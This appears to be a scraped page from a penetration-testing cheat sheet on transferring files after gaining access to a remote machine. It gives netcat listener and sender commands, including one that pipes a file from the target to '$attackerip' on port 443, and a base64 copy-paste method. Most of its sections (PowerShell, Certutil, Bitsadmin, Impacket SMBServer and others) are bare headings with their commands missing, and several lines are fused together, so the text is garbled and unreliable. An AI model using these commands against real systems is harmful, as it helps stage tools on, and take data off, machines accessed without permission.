Transferring files
First step after gaining access to a remote machine is to upload new tools.
Linux
Netcat
on target run:
nc -lvp 443> transfer.txt
on attacker run:
nc $ip 443 < transfer.txton attacker run:
nc -lvp 443> transfer.txt
on target run:
cat transfer.txt | nc $attackerip 443ProTip
On local system:
cat filetoupload | base64 -w 0; echo
#double click on output to copy
On Target System:
echo <copiedContent> | base64 -d > filetouploadStart a web server in your local machine serving files within the current folder:
Send files using different commands:
As an FTP server, metasploit has built in one:
Simple Fast python FTP server no login details necessary
SMB share server:
Curl put:
Linux, mounting a samba share:
Simple HTTP Server with Upload

PHP
Python
Windows


PowerShell File Uploads
Bitsadmin
Certutil
nc.exe paste the following code
Echo up
Bounce port scanning
Nice trick to share folders with RDP:
With Powershell:
Powercat
wget
Run with:
HTTP: Powershell
SMB
Impacket SMBServer
Impacket SMBServer - Syntax
Impacket SMBServer - Listening
Last updated